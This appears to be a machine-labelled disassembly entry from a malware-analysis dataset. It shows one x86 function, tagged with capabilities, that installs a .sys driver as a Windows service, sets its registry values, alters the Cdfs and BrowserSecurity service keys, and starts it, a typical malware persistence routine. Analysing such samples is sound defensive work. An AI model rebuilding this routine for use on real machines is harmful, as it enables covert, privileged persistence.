Function at 0x100017f0
Capabilities:
Create service
Delete registry value
Persist via windows service
Query or enumerate registry value
Set registry value
Start service

Disassembly:
sub esp, 0x2f0
mov eax, dword [str.system32drivers_]
mov ecx, dword [0x10008210]
mov edx, dword [0x10008214]
push ebx
mov dword [esp + 0x24], eax
mov eax, dword [0x10008218]
mov dword [esp + 0x28], ecx
mov cx, word [0x1000821c]
push ebp
push esi
push edi
mov dword [esp + 0x3c], eax
mov word [esp + 0x40], cx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x42]
mov dword [esp + 0x38], edx
mov ebp, dword [esp + 0x304]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x30]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0xf003f
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x34]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..sys
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
cmp esi, ebx
je 0x100018dd
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x40]
push ebx
push eax
push 1
push ebx
push 1
push 0xf01ff
push ebp
push ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
cmp eax, ebx
je 0x100018d6
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [esp + 0x18], 2
mov dword [esp + 0x10], ebx
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x134]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x38
lea edi, [esp + 0x157]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x134]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x14], 0xc8
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x2c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
lea edx, [esp + 0x138]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov esi, eax
cmp esi, ebx
jne 0x10001c09
mov eax, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push str.DeleteFlag
push eax
call esi
mov ecx, dword [esp + 0x10]
push str.InstallPath
push ecx
call esi
mov edx, dword [esp + 0x10]
push str.SystemRoot
push edx
call esi
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10]
not ecx
dec ecx
push ecx
push ebp
push 1
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push str.DisplayName
push eax
call ebx
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [esp + 0x14]
push ebp
push 1
push eax
push str.DescriptionName
push ecx
call ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0x1c]
push edx
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
call esi
test eax, eax
jne 0x10001a96
lea eax, [esp + 0x14]
lea ecx, [esp + 0x238]
push eax
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x28]
push ecx
push edx
push 0
push str.SystemRoot
push eax
mov dword [esp + 0x3c], 1
mov dword [esp + 0x2c], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10001a8b
lea ecx, [esp + 0x28]
push ecx
push 0xf003f
push eax
push str.SYSTEMCurrentControlSetServicesCdfs
push 0x80000002
call esi
test eax, eax
jne 0x10001a8b
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x238]
push edx
push eax
push 1
push 0
push str.SystemRoot
push ecx
call ebx
mov edx, dword [esp + 0x28]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0x30]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x34]
push ecx
push 2
push eax
push str.ImagePath
push edx
call ebx
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push 0
push str.Start
push ecx
mov dword [esp + 0x30], 0
call ebx
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push 0
push str.Type
push eax
mov dword [esp + 0x30], 1
call ebx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push 0
push str.ErrorControl
push edx
call ebx
lea eax, [esp + 0x1c]
push eax
push 0x20019
push 0
push str.SYSTEMCurrentControlSetServicesBrowserSecurity
push 0x80000002
call esi
mov esi, eax
test esi, esi
jne 0x10001bfe
lea ecx, [esp + 0x14]
lea edx, [esp + 0x238]
push ecx
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x28]
push edx
push eax
push esi
push str.Security
push ecx
mov dword [esp + 0x3c], 3
mov dword [esp + 0x2c], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, eax
test esi, esi
jne 0x10001bf3
mov edi, 0x100080e0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x134]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x2c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x24]
lea edx, [esp + 0x138]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov esi, eax
test esi, esi
jne 0x10001bf3
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x20]
lea ecx, [esp + 0x238]
push eax
push ecx
push 3
push esi
push str.Security
push edx
call ebx
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.100017c0
test eax, eax
jne 0x10001c6a
push 0xf003f
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
je 0x10001c6a
push 0xf01ff
push ebp
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x10001c61
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push ebx
call edi
push ebx
xor esi, esi
call edi
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2f0
ret
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
call edi
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2f0
ret